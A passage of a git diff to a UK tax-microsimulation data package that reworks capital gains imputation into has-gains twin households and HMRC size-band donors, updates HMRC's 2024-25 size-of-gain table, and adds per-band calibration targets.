+# no target describes those people, and a record no target describes takes
+# whatever weight suits the other targets: the 1.58.0 build ended with 1.4m
+# people holding £15bn of losses, and 0.4m with gains under the exempt
+# amount.
+#
+# "Mass" is the household's calibration prior expressed as a weight
+# (calibrate.prior_equivalent_weights): the survey weight for a survey row,
+# and for a zero-weight row (the SPI synthetic households) the weight that
+# earns the prior those rows are given. Twins of zero-weight rows used to
+# keep a zero weight, and so received a full zero-weight prior each, the same
+# as their no-gains originals. The calibration therefore started with half
+# of the SPI rows' mass holding gains: 6.4m CGT taxpayers and £365bn of gains
+# against targets of 378,000 and £68bn.
+
+
+def _first_adult_incomes(dataset: UKSingleYearDataset) -> tuple[np.ndarray, np.ndarray]:
+    """Each person's total income, and whether they are their household's
+    first adult."""
     from policyengine_uk import Microsimulation
 
     sim = Microsimulation(dataset=dataset)
-    ti = sim.calculate("total_income").values
-    household_weight = sim.calculate("household_weight").values
-    first_half = (
-        np.concatenate(
-            [
-                np.ones(len(household_weight) // 2),
-                np.zeros(len(household_weight) // 2),
-            ]
-        )
-        > 0
+    return (
+        sim.calculate("total_income").values,
+        sim.calculate("adult_index").values == 1,
     )
-    # Give capital gains to one adult aged 15+ in each household
-    adult_index = sim.calculate("adult_index").values == 1
-    in_person_second_half = np.zeros(len(ti)) > 0
-    in_person_second_half[len(ti) // 2 :] = True
-    has_cg = np.zeros(len(ti)) > 0
-    has_cg[adult_index & in_person_second_half] = True
-    blend_factor = torch.tensor(
-        np.zeros(first_half.sum()), requires_grad=True, dtype=torch.float32
-    )
-    household_weight = torch.tensor(household_weight, dtype=torch.float32)
-    sigmoid = torch.nn.Sigmoid()
 
-    def loss(blend_factor):
-        loss = 0
 
-        blended_household_weight = household_weight.clone()
-        adjusted_blend_factor = sigmoid(blend_factor)
-        blended_household_weight[first_half] = (
-            adjusted_blend_factor * blended_household_weight[first_half]
+def _income_band(total_income: np.ndarray) -> np.ndarray:
+    """Row of the Advani & Summers table for each income (-1 below the first)."""
+    return (
+        np.searchsorted(
+            capital_gains.minimum_total_income.values, total_income, side="right"
         )
-        blended_household_weight[~first_half] = (
-            1 - adjusted_blend_factor
-        ) * blended_household_weight[first_half]
-        for i in range(len(capital_gains)):
-            lower = capital_gains.minimum_total_income.iloc[i]
-            upper = capital_gains.maximum_total_income.iloc[i]
-            true_pct_with_gains = capital_gains.percent_with_gains.iloc[i]
-
-            ti_in_range = (ti >= lower) * (ti < upper)
-            cg_in_income_range = has_cg * ti_in_range
-            household_ti_in_range_count = torch.tensor(
-                sim.map_result(ti_in_range, "person", "household", how="sum")
-            )
-            household_cg_in_income_range_count = torch.tensor(
-                sim.map_result(cg_in_income_range, "person", "household", how="sum")
-            )
-            pred_ti_in_range = (
-                blended_household_weight * household_ti_in_range_count
-            ).sum()
-            pred_cg_in_income_range = (
-                blended_household_weight * household_cg_in_income_range_count
-            ).sum()
-            pred_pct_with_gains = pred_cg_in_income_range / torch.clip(
-                pred_ti_in_range, 1
-            )
-            loss += (pred_pct_with_gains - true_pct_with_gains) ** 2
-
-        return loss
-
-    optimiser = Adam([blend_factor], lr=1e-1)
-    progress = range(100)
-    logging.info("Splitting household weights into has-gains and no-gains")
-    for i in progress:
-        optimiser.zero_grad()
-        loss_value = loss(blend_factor)
-        loss_value.backward()
-        optimiser.step()
-        if loss_value.item() < 1e-3:
-            break
-
-    new_household_weight = household_weight.detach().numpy()
-    original_household_weight = new_household_weight.copy()
-    blend_factor = sigmoid(blend_factor).detach().numpy()
-    new_household_weight[first_half] = (
-        blend_factor * original_household_weight[first_half]
+        - 1
     )
-    new_household_weight[~first_half] = (1 - blend_factor) * original_household_weight[
-        first_half
-    ]
 
-    # Impute actual capital gains amounts given gains
-    new_cg = np.zeros(len(ti))
 
-    logging.info("Imputing capital gains among those with gains")
+def _households(dataset: UKSingleYearDataset, household_ids) -> UKSingleYearDataset:
+    """A copy of the households with these ids, in the dataset's order."""
+    person = dataset.person[dataset.person.person_household_id.isin(household_ids)]
+    return UKSingleYearDataset(
+        person=person.reset_index(drop=True).copy(),
+        benunit=dataset.benunit[
+            dataset.benunit.benunit_id.isin(person.person_benunit_id)
+        ]
+        .reset_index(drop=True)
+        .copy(),
+        household=dataset.household[dataset.household.household_id.isin(household_ids)]
+        .reset_index(drop=True)
+        .copy(),
+        fiscal_year=dataset.time_period,
+    )
+
+
+def draw_gains(income_band: np.ndarray, gainer: np.ndarray) -> np.ndarray:
+    """Draw a gain for each gainer from their income band's distribution.
+
+    Assumes that the capital gains distribution is the same for all years.
+    """
+    gains = np.zeros(len(income_band))
 
     # Draw imputation quantiles from a seeded generator so the build is
     # reproducible: an unseeded global np.random made capital gains (and hence
     # CGT revenue) differ between otherwise identical builds.
     cg_rng = np.random.default_rng(0)
 
-    for i in range(len(capital_gains)):
-        row = capital_gains.iloc[i]
+    for i, row in enumerate(capital_gains.itertuples()):
         spline = UnivariateSpline(
             [0.05, 0.1, 0.25, 0.5, 0.75, 0.90, 0.95],
             [row.p05, row.p10, row.p25, row.p50, row.p75, row.p90, row.p95],
             k=1,
         )
-        lower = row.minimum_total_income
-        upper = row.maximum_total_income
-        ti_in_range = (ti >= lower) * (ti < upper)
-        in_target_range = has_cg * ti_in_range > 0
-        quantiles = cg_rng.random(int(in_target_range.sum()))
-        pred_capital_gains = spline(quantiles)
-        new_cg[in_target_range] = pred_capital_gains
+        in_band = gainer & (income_band == i)
+        gains[in_band] = spline(cg_rng.random(int(in_band.sum())))
 
-    return new_cg, new_household_weight
+    return gains
 
 
-def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
-    dataset = dataset.copy()
-    dataset.household["household_is_capital_gains_clone"] = False
-    zero_weight_copy = dataset.copy()
-    zero_weight_copy.household.household_weight = 1
-    zero_weight_copy.household["household_is_capital_gains_clone"] = True
-    data = stack_datasets(
-        dataset,
-        zero_weight_copy,
+def has_gains_shares(
+    income_band: np.ndarray, first_adult: np.ndarray, person_weight: np.ndarray
+) -> np.ndarray:
+    """Share of each income band's first adults who hold gains.
+
+    The table gives the share of all people in a band with gains, but only
+    first adults are given gains, so the share among them is the table's
+    share times the band's people per first adult.
+    """
+    n_bands = len(capital_gains)
+    in_table = income_band >= 0
+    people = np.bincount(
+        income_band[in_table], weights=person_weight[in_table], minlength=n_bands
     )
+    gainers = in_table & first_adult
+    first_adults = np.bincount(
+        income_band[gainers], weights=person_weight[gainers], minlength=n_bands
+    )
+    share = np.divide(
+        capital_gains.percent_with_gains.values * people,
+        first_adults,
+        out=np.zeros(n_bands),
+        where=first_adults > 0,
+    )
+    if (share >= 1).any():
+        raise ValueError(
+            "An income band has too few first adults to hold its share of "
+            "people with gains."
+        )
+    return share
+
 
-    pred_cg, household_weight = impute_cg_to_doubled_dataset(data)
+def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
+    """Stack a has-gains twin for each household whose first adult draws a
+    gain above the lowest HMRC size-of-gain band limit."""
+    from policyengine_uk_data.utils.calibrate import prior_equivalent_weights
 
-    data.person["capital_gains"] = pred_cg
-    data.household["household_weight"] = household_weight
+    dataset = dataset.copy()
+    total_income, first_adult = _first_adult_incomes(dataset)
+    household_of_person = pd.Index(dataset.household.household_id).get_indexer(
+        dataset.person.person_household_id
+    )
+    weight = dataset.household.household_weight.to_numpy(dtype=float)
+
+    income_band = _income_band(total_income)
+    gains = draw_gains(income_band, first_adult)
+    share = has_gains_shares(income_band, first_adult, weight[household_of_person])
+
+    gainer = first_adult & (gains > load_size_bands().lower_limit.min())
+    twin_weight = np.zeros(len(weight))
+    twin_weight[household_of_person[gainer]] = share[income_band[gainer]]
+    twin_weight *= prior_equivalent_weights(weight)
+    has_twin = twin_weight > 0
+
+    logging.info("Stacking %s has-gains twins", int(has_twin.sum()))
+    twin = _households(dataset, dataset.household.household_id[has_twin])
+    twin.person["capital_gains"] = gains[has_twin[household_of_person]]
+    twin.household["household_weight"] = twin_weight[has_twin]
+    twin.household["household_is_capital_gains_clone"] = True
+
+    dataset.person["capital_gains"] = 0.0
+    dataset.household["household_weight"] = np.where(
+        weight > 0, weight - twin_weight, 0.0
+    )
+    dataset.household["household_is_capital_gains_clone"] = False
 
+    data = stack_datasets(dataset, twin)
     data.validate()
     return data
 
 
 # --- HMRC size-band donor stack ------------------------------------------
 #
-# The Advani & Summers spline stops at each income band's p95, so the
-# imputation above cannot produce the large gains HMRC observes: in the
-# built data no individual gain exceeds ~£2m, while HMRC attributes ~61% of
-# all chargeable gains to gains of £1m or more (Capital Gains Tax
-# statistics, Table 2.1a). Calibration cannot fix that on its own — there
-# are no records carrying large gains for it to upweight.
+# The Advani & Summers spline stops at each income band's p95, so the twins
+# above cannot carry the large gains HMRC observes: no drawn gain exceeds
+# ~£2m, and fewer than a hundred exceed £500,000, while HMRC attributes
+# three quarters of individuals' chargeable gains in 2024-25 to gains of
+# £500,000 or more (Capital Gains Tax statistics, Table 2.1a). Calibration
+# cannot fix that on its own — there are too few records carrying large
+# gains for it to upweight.
 #
 # Following the SPI synthetic-household precedent in income.py, we stack a
-# small set of donor households, one group per HMRC size-of-gain band, each
-# carrying that band's published mean gain. Calibration then adjusts how
-# much weight each band's donors receive, pulled by the per-band HMRC
-# targets in targets/sources/hmrc_cgt.py.
+# small set of donor households for each HMRC size-of-gain band from
+# £500,000 up, each carrying that band's published mean gain. Calibration
+# then adjusts how much weight each band's donors receive, pulled by the
+# per-band HMRC targets in targets/sources/hmrc_cgt.py.
+#
+# The bands below £500,000 need no donors: the twins give each of them
+# hundreds or thousands of records. Donors there duplicated the twins. In
+# the 1.58.0 build, which stacked donors from £12,300 up, the donors of the
+# four bands from £12,300 to £250,000 ended with under 1% of the weight they
+# entered with.
 #
-# Donors enter at the weight that already reproduces the published band —
+# Donors enter at the weight that reproduces the published band —
 # band taxpayer count / DONORS_PER_BAND — NOT at zero. Zero-weight rows are
 # given an equal share of prior mass by calibrate.initialize_weight_priors
 # (the SPI mechanism), which for donors carrying multi-million-pound gains
 # injected ~£2.3trn of initial gains in a CI build and left calibration
-# 18x over the band targets. On-target initial weights make the band
-# estimates start at the published values, so calibration only fine-tunes.
+# 18x over the band targets. Whatever the donors and twins of a band weigh
+# together, calibration starts with the band's taxpayer count on its target
+# (calibrate.rake_priors_to_targets).
 #
 # Donor households are sampled with probability proportional to
 # percent_with_gains at their first adult's total income (the same Advani &
 # Summers table used above), so large gains land on the income profiles
 # most likely to realise gains rather than on uniformly random households.
 
-HMRC_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv"
-# Few, heavy donors rather than many light ones: the L0-regularised
-# calibration pays a gate penalty per active record, so a band represented
-# by 300 rows of weight ~7 is far more expensive to keep than 30 rows of
-# weight ~67 carrying the same band total. The first full build with 300
-# donors/band shrank donor weight ~8x and left the top bands 94-97% under
-# target; fewer gates make satisfying the band targets cheap for the
-# optimiser while donors still spread across income profiles.
+# Few, heavy donors rather than many light ones: the first full build with
+# 300 donors per band left the £2m+ bands 94-97% under target, and failed
+# the built-dataset tests.
 DONORS_PER_BAND = 30
 _DONOR_SEED = 1
-# HMRC's rows below £12,300 mix AEA regimes and are definitionally
-# incomplete (see the CSV header note); the spline body already covers
-# gains of that size, so donors start at the £12,300 band.
-_MIN_DONOR_BAND_LOWER = 12_300
+_MIN_DONOR_BAND_LOWER = 500_000
 
 
 def load_hmrc_size_bands() -> pd.DataFrame:
-    """HMRC Table 2.1a size-of-gain bands used for donors and targets."""
-    bands = pd.read_csv(STORAGE_FOLDER / HMRC_SIZE_BANDS_FILE, comment="#")
-    bands = bands[bands.lower_limit >= _MIN_DONOR_BAND_LOWER].reset_index(drop=True)
-    bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf)
+    """HMRC Table 2.1a size-of-gain bands, with each band's mean gain."""
+    bands = load_size_bands()
     bands["taxpayers"] = bands.taxpayers_thousands * 1e3
     bands["gains"] = bands.gains_gbp_millions * 1e6
     bands["mean_gain"] = bands.gains / bands.taxpayers
     return bands
 
 
+def load_donor_bands() -> pd.DataFrame:
+    """The bands whose records are donors."""
+    bands = load_hmrc_size_bands()
+    return bands[bands.lower_limit >= _MIN_DONOR_BAND_LOWER].reset_index(drop=True)
+
+
 def stack_cgt_band_donors(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
     """Stack donor households carrying HMRC band mean gains at band-exact
     initial weights."""
-    from policyengine_uk import Microsimulation
-
     dataset = dataset.copy()
     dataset.household["household_is_cgt_band_donor"] = False
     if "capital_gains" not in dataset.person.columns:
         dataset.person["capital_gains"] = 0.0
 
-    bands = load_hmrc_size_bands()
+    bands = load_donor_bands()
     rng = np.random.default_rng(_DONOR_SEED)
 
-    sim = Microsimulation(dataset=dataset)
-    ti = sim.calculate("total_income").values
-    first_adult = sim.calculate("adult_index").values == 1
+    total_income, first_adult = _first_adult_incomes(dataset)
+    # A has-gains twin is the same household as its original, so only the
+    # original is a candidate.
+    if "household_is_capital_gains_clone" in dataset.household.columns:
+        twins = dataset.household.household_id[
+            dataset.household.household_is_capital_gains_clone.astype(bool)
+        ]
+        first_adult &= ~dataset.person.person_household_id.isin(twins).values
 
     fa_household_id = dataset.person.person_household_id.values[first_adult]
-    fa_income = ti[first_adult]
-    income_band = (
-        np.searchsorted(
-            capital_gains.minimum_total_income.values, fa_income, side="right"
-        )
-        - 1
-    )
     propensity = capital_gains.percent_with_gains.values[
-        np.clip(income_band, 0, len(capital_gains) - 1)
+        np.clip(_income_band(total_income[first_adult]), 0, len(capital_gains) - 1)
     ]
 
     n_donors = DONORS_PER_BAND * len(bands)
@@ -268,42 +293,22 @@ def stack_cgt_band_donors(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
         )
     )
 
-    person_filter = dataset.person.person_household_id.isin(selected)
-    donor_person = dataset.person[person_filter].reset_index(drop=True).copy()
-    donor_benunit = (
-        dataset.benunit[dataset.benunit.benunit_id.isin(donor_person.person_benunit_id)]
-        .reset_index(drop=True)
-        .copy()
-    )
-    donor_household = (
-        dataset.household[dataset.household.household_id.isin(selected)]
-        .reset_index(drop=True)
-        .copy()
+    donor = _households(dataset, selected)
+    donor.household["household_weight"] = (
+        donor.household.household_id.map(weight_of_household).fillna(0.0).values
     )
-
-    donor_household["household_weight"] = (
-        donor_household.household_id.map(weight_of_household).fillna(0.0).values
-    )
-    donor_household["household_is_cgt_band_donor"] = True
+    donor.household["household_is_cgt_band_donor"] = True
 
     # The band mean gain goes to each donor household's first adult;
     # everyone else in the household carries no gain, mirroring the
     # one-gainer-per-household convention of the imputation above.
-    donor_first_adult = first_adult[person_filter.values]
-    donor_person["capital_gains"] = 0.0
-    donor_gains = (
-        donor_person.person_household_id.map(band_of_household).fillna(0.0).values
-    )
-    donor_person.loc[donor_first_adult, "capital_gains"] = donor_gains[
-        donor_first_adult
+    donor_first_adult = first_adult[
+        dataset.person.person_household_id.isin(selected).values
     ]
-
-    donor = UKSingleYearDataset(
-        person=donor_person,
-        benunit=donor_benunit,
-        household=donor_household,
-        fiscal_year=dataset.time_period,
+    donor_gains = (
+        donor.person.person_household_id.map(band_of_household).fillna(0.0).values
     )
+    donor.person["capital_gains"] = np.where(donor_first_adult, donor_gains, 0.0)
 
     data = stack_datasets(dataset, donor)
     data.validate()
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
index 2e35d392..ee5a22a5 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
@@ -7,6 +7,7 @@
     create_target_matrix as create_national_target_matrix,
 )
 from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources.hmrc_cgt import band_count_target_names
 from policyengine_uk.data import UKSingleYearDataset
 
 
@@ -29,6 +30,7 @@ def calibrate(
         area_name="Constituency",
         get_performance=get_performance,
         time_period=time_period,
+        prior_rake_targets=band_count_target_names(),
     )
 
 
diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
index 3d4fb655..371e80c0 100644
--- a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
@@ -7,6 +7,7 @@
     create_target_matrix as create_national_target_matrix,
 )
 from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources.hmrc_cgt import band_count_target_names
 from policyengine_uk.data import UKSingleYearDataset
 
 
@@ -29,6 +30,7 @@ def calibrate(
         area_name="Local Authority",
         get_performance=get_performance,
         time_period=time_period,
+        prior_rake_targets=band_count_target_names(),
     )
 
 
diff --git a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
index 804b8669..c458fa4c 100644
--- a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
+++ b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
@@ -1,11 +1,11 @@
 # HMRC Capital Gains Tax statistics, Table 2.1a: estimated number of taxpayers,
 # amounts of gains and tax liabilities by size of gain, for individuals,
-# 2023 to 2024 tax year (provisional).
+# 2024 to 2025 tax year (provisional).
 #
 # Collection: https://www.gov.uk/government/statistics/capital-gains-tax-statistics
-# File:       Table_2_2025_Size_of_gain.ods, sheet "2_1a_2023-24"
-# URL:        https://assets.publishing.service.gov.uk/media/6878ac562bad77c3dae4dcef/Table_2_2025_Size_of_gain.ods
-# Published:  24 July 2025 release.
+# File:       Table_2_2026_Size_of_gain.ods, sheet "2_1a_2024-25"
+# URL:        https://assets.publishing.service.gov.uk/media/6a7b240b423b0bdba0290eca/Table_2_2026_Size_of_gain.ods
+# Published:  27 August 2026 release.
 #
 # Committed rather than downloaded at build time because the asset URL embeds a
 # content hash that changes with every HMRC release, so it is not a stable
@@ -14,26 +14,31 @@
 #
 # Units: taxpayers in thousands, gains in £ millions, as published.
 #
-# IMPORTANT DEFINITIONAL NOTE: HMRC's published figures "only include taxpayers
-# who have a CGT liability". They are therefore not the same population as
-# "everyone with gains above the annual exempt amount", and are narrower than
-# the set of people carrying a positive imputed gain in the microdata. The
-# under-£12,300 rows are correspondingly small and should not be read as the
-# true count of people with small gains.
+# The annual exempt amount (AEA) for individuals in 2024 to 2025 was £3,000.
 #
-# Trailing "All" row is the published total and may not equal the sum of the
-# bands due to rounding.
+# IMPORTANT DEFINITIONAL NOTES:
+# - Individuals only. Trusts and personal representatives are in Table 2.1b
+#   (32 thousand taxpayers and £8,057m of gains in 2024 to 2025) and are not
+#   people in the microdata. The all-taxpayer headline (Table 1: 584 thousand
+#   taxpayers, £127,316m of gains) includes them.
+# - HMRC's figures "only include taxpayers who have a CGT liability". The row
+#   under £3,000 is therefore not the count of people with small gains; it is
+#   the few who are liable with gains under the AEA.
+# - Gains are after losses and before the AEA.
+#
+# Published total for individuals: 551 thousand taxpayers, £119,258m of gains,
+# £22,503m of tax. The rows below sum to those totals.
 lower_limit,taxpayers_thousands,gains_gbp_millions,tax_gbp_millions
-0,2,1,9
-3000,0,1,0
-6000,61,461,18
-10000,23,251,20
-12300,79,1418,169
-25000,74,2645,423
-50000,53,3731,706
-100000,37,5649,1077
-250000,14,4766,826
-500000,8,5705,895
-1000000,5,6390,1067
-2000000,3,9189,1718
-5000000,2,22714,4532
+0,3,1,16
+3000,73,311,17
+6000,57,448,49
+10000,26,289,38
+12300,97,1747,264
+25000,98,3516,608
+50000,78,5510,1041
+100000,61,9487,1777
+250000,25,8820,1546
+500000,16,11372,1828
+1000000,9,12806,2191
+2000000,5,16477,3188
+5000000,3,48474,9939
diff --git a/policyengine_uk_data/targets/sources/hmrc_cgt.py b/policyengine_uk_data/targets/sources/hmrc_cgt.py
index f2936068..900b47d9 100644
--- a/policyengine_uk_data/targets/sources/hmrc_cgt.py
+++ b/policyengine_uk_data/targets/sources/hmrc_cgt.py
@@ -1,47 +1,57 @@
 """HMRC capital gains targets.
 
 The Enhanced FRS imputes capital gains, but nothing in the calibration
-constrains how those gains are *distributed* across households. Measured
-on the stock weights for 2026, the microdata carries 1.29m CGT taxpayers
-holding £112bn of gains (an £87,158 mean) against HMRC's 378k taxpayers,
-£65.9bn and a ~£174,000 mean: 3.4x too many taxpayers, each holding a
-gain about half the administrative average. That is a distributional
-error, not a level shift, so a revenue target cannot fix it.
-
-Two targets are added:
+constrains how those gains are *distributed* across households unless it
+is told HMRC's distribution. HMRC's Capital Gains Tax statistics publish,
+for individuals with a CGT liability, the number of taxpayers and their
+gains by size of gain (Table 2.1a). Each size band at or above the annual
+exempt amount (AEA) becomes a target pair, and their sums become two
+aggregate targets:
 
 * ``hmrc/capital_gains_total`` — total chargeable gains of CGT taxpayers.
 * ``hmrc/cgt_taxpayers`` — the number of CGT taxpayers.
-
-Both use a ``custom_compute``. The default count path in
+* ``hmrc/cgt_taxpayers_band_{lower}`` and
+  ``hmrc/capital_gains_band_{lower}`` — the same two statistics for each
+  size-of-gain band.
+
+Individuals only: the model's gains belong to people, so the targets come
+from Table 2.1a (individuals), not from the all-taxpayer headline, which
+also counts trusts and personal representatives (Table 1: 584,000
+taxpayers and £127.3bn in 2024-25, of which trusts are 32,000 and
+£8.1bn). The aggregates are the sums of the targeted bands, so the
+aggregate and band targets cannot disagree.
+
+Every target uses a ``custom_compute``. The default count path in
 ``build_loss_matrix._compute_simple_count`` counts people with
 ``capital_gains > 0``, which is not HMRC's concept: HMRC counts CGT
-*taxpayers*, i.e. people whose gains exceed the annual exempt amount
-(AEA). The amount target is gated on the same AEA condition, for the
-same reason — HMRC's £65.9bn is the gains of CGT-liable taxpayers, not
-all gains realised in the economy. Gating only the count and leaving the
-amount ungated would target a mean gain that is a ratio of two different
-populations, and would let the optimiser satisfy the amount with
-sub-threshold gains that HMRC never counts.
+*taxpayers*, i.e. people whose gains exceed the AEA. The amounts are
+gated on the same AEA condition, for the same reason — HMRC's total is
+the gains of CGT-liable taxpayers, not all gains realised in the economy.
+Gating only the count and leaving the amount ungated would target a mean
+gain that is a ratio of two different populations, and would let the
+optimiser satisfy the amount with sub-threshold gains that HMRC never
+counts.
 
 The AEA is policy-dependent (£12,300 for 2022-23, £6,000 for 2023-24,
 £3,000 from 2024-25) and is read from PolicyEngine's own parameter tree
-for the simulation year, so the target's meaning tracks the policy in
-force. ``_AEA_FALLBACK`` is used only if the parameter lookup fails.
+for the simulation year, so the gate tracks the policy in force.
+``_AEA_FALLBACK`` is used only if the parameter lookup fails.
 
-Year handling: HMRC's figures are the 2023-24 outturn, mapped to
-calendar 2024 following ``hmrc_spi._SPI_YEAR``. The amount is projected
+Year handling: HMRC's figures are the 2024-25 outturn. PolicyEngine UK's
+year N is tax year N to N+1, so the outturn is the 2024 value: the survey
+year of the FRS release the build starts from, and a year with the same
+£3,000 AEA as the years the calibration runs for. Amounts are projected
 to 2029 with PolicyEngine's ``capital_gains`` uprating factors so the
-target constrains the projection years the calibration actually runs
-for; the taxpayer count is held flat, as the repo has no administrative
-basis for forecasting CGT taxpayer numbers and count uprating factors
-would be a nominal-income index applied to a headcount.
+targets constrain the projection years; taxpayer counts are held flat, as
+the repo has no administrative basis for forecasting CGT taxpayer numbers
+and count uprating factors would be a nominal-income index applied to a
+headcount.
 
-Caveat: the 2023-24 outturn was realised under a £6,000 AEA, while the
-gate applied in later years uses the £3,000 AEA then in force. The
-targets are therefore approximate for the projection years; the
-alternative (a fixed £6,000 gate) would be wrong in a different and less
-transparent way, because it would not describe any year's actual policy.
+Caveat: 2024-25 is an unusual year. HMRC's commentary attributes part of
+the rise in gains (£66.6bn to £119.3bn for individuals) to disposals
+brought forward ahead of the 30 October 2024 rate rise. Carrying that
+year forward with a nominal-income index assumes gains stay at that
+level.
 
 Source: https://www.gov.uk/government/statistics/capital-gains-tax-statistics
 """
@@ -55,15 +65,11 @@
 
 logger = logging.getLogger(__name__)
 
-# HMRC CGT statistics, tax year 2023-24 outturn, mapped to calendar 2024
-# following the hmrc_spi._SPI_YEAR convention.
+# HMRC CGT statistics, tax year 2024-25 outturn. PolicyEngine UK's year N
+# is tax year N to N+1, so the outturn is the 2024 value.
 _CGT_BASE_YEAR = 2024
 _MAX_YEAR = 2029
-
-# Total chargeable gains of CGT taxpayers, 2023-24 (£65.9bn).
-_CGT_TOTAL_GAINS = 65.9e9
-# Number of CGT taxpayers, 2023-24.
-_CGT_TAXPAYERS = 378_000
+_OUTTURN_LABEL = "2024-25 outturn"
 
 # Annual exempt amount by tax year start, used only if the PolicyEngine
 # parameter lookup fails.
@@ -75,6 +81,41 @@
 
 _PARAMETER_PATH = "gov.hmrc.cgt.annual_exempt_amount"
 
+# HMRC Table 2.1a (committed as capital_gains_size_distribution_hmrc.csv)
+# publishes individuals' taxpayer counts and gains by size of gain.
+_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv"
+# The table's tax year had a £3,000 AEA. Its one band under that limit
+# holds the few people liable with smaller gains (3,000 people and £1m in
+# 2024-25); the AEA gate cannot represent them, so the targets start at
+# the AEA.
+_MIN_BAND_LOWER = 3_000
+
+
+def load_size_bands():
+    """HMRC size-of-gain bands at or above the table year's AEA."""
+    import pandas as pd
+
+    from policyengine_uk_data.storage import STORAGE_FOLDER
+
+    bands = pd.read_csv(STORAGE_FOLDER / _SIZE_BANDS_FILE, comment="#")
+    bands = bands[bands.lower_limit >= _MIN_BAND_LOWER].reset_index(drop=True)
+    bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf)
+    return bands
+
+
+def _outturn_totals() -> tuple[float, float]:
+    """Taxpayers and gains summed over the targeted bands."""
+    bands = load_size_bands()
+    return (
+        float(bands.taxpayers_thousands.sum()) * 1e3,
+        float(bands.gains_gbp_millions.sum()) * 1e6,
+    )
+
+
+# Number of CGT taxpayers and their total chargeable gains, 2024-25,
+# individuals with gains above the AEA.
+_CGT_TAXPAYERS, _CGT_TOTAL_GAINS = _outturn_totals()
+
 
 def _annual_exempt_amount(ctx, year: int) -> float:
     """Annual exempt amount in force in ``year``.
@@ -140,33 +181,14 @@ def _project_gains(base_value: float) -> dict[int, float]:
 
 # --- Size-of-gain band targets --------------------------------------------
 #
-# The aggregate count and total above cannot, on their own, constrain the
-# *shape* of the gains distribution: the published enhanced FRS carried
-# only ~1.6% of gains in gains of £1m+ against HMRC's ~61%, while still
-# being able to satisfy an aggregate total. HMRC Table 2.1a (committed as
-# capital_gains_size_distribution_hmrc.csv) publishes taxpayer counts and
-# gains by size of gain, so each band becomes a target pair. The
-# zero-weight donor households stacked in
-# datasets/imputations/capital_gains.py carry each band's mean gain, which
-# gives the calibration records it can weight to satisfy these targets.
-#
-# Bands below £12,300 are skipped: HMRC's sub-AEA rows mix exemption
-# regimes and are definitionally incomplete (see the CSV header), and the
-# spline-imputed body already covers small gains.
-
-_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv"
-_MIN_BAND_LOWER = 12_300
-
-
-def _load_size_bands():
-    import pandas as pd
-
-    from policyengine_uk_data.storage import STORAGE_FOLDER
-
-    bands = pd.read_csv(STORAGE_FOLDER / _SIZE_BANDS_FILE, comment="#")
-    bands = bands[bands.lower_limit >= _MIN_BAND_LOWER].reset_index(drop=True)
-    bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf)
-    return bands
+# The aggregate count and total cannot, on their own, constrain the *shape*
+# of the gains distribution: an earlier enhanced FRS carried only ~1.6% of
+# gains in gains of £1m+ against HMRC's ~61%, while still being able to
+# satisfy an aggregate total. Each band of Table 2.1a from the AEA up
+# therefore becomes a target pair. The imputation in
+# datasets/imputations/capital_gains.py gives every band records to weight,
+# and the calibration starts with each band's taxpayer count on its target
+# (see band_count_target_names).
 
 
 def _band_mask(ctx, year: int, lower: float, upper: float) -> np.ndarray:
@@ -193,36 +215,50 @@ def compute(ctx, target: Target, year: int) -> np.ndarray:
     return compute
 
 
+def _band_count_name(lower: float) -> str:
+    return f"hmrc/cgt_taxpayers_band_{int(lower)}"
+
+
+def band_count_target_names() -> list[str]:
+    """Names of the per-band taxpayer-count targets.
+
+    The bands partition CGT taxpayers by size of gain, so the households
+    behind one of these targets are behind no other. The calibration
+    scales its starting weights so that each is met before the first
+    epoch (``calibrate_local_areas(prior_rake_targets=...)``).
+    """
+    return [_band_count_name(lower) for lower in load_size_bands().lower_limit]
+
+
 def _band_targets(reference_url: str) -> list[Target]:
     targets = []
-    for row in _load_size_bands().itertuples():
+    for row in load_size_bands().itertuples():
         lower = float(row.lower_limit)
         upper = float(row.upper_limit)
         count = float(row.taxpayers_thousands) * 1e3
         gains = float(row.gains_gbp_millions) * 1e6
-        label = f"{int(lower)}"
         targets.append(
             Target(
-                name=f"hmrc/cgt_taxpayers_band_{label}",
+                name=_band_count_name(lower),
                 variable="capital_gains",
                 source="hmrc",
                 unit=Unit.COUNT,
                 values={year: count for year in range(_CGT_BASE_YEAR, _MAX_YEAR + 1)},
                 is_count=True,
                 reference_url=reference_url,
-                forecast_vintage="2023-24 outturn",
+                forecast_vintage=_OUTTURN_LABEL,
                 custom_compute=_make_band_count_compute(lower, upper),
             )
         )
         targets.append(
             Target(
-                name=f"hmrc/capital_gains_band_{label}",
+                name=f"hmrc/capital_gains_band_{int(lower)}",
                 variable="capital_gains",
                 source="hmrc",
                 unit=Unit.GBP,
                 values=_project_gains(gains),
                 reference_url=reference_url,
-                forecast_vintage="2023-24 outturn",
+                forecast_vintage=_OUTTURN_LABEL,
                 custom_compute=_make_band_gains_compute(lower, upper),
             )
         )
@@ -251,7 +287,7 @@ def get_targets() -> list[Target]:
             unit=Unit.GBP,
             values=gains_values,
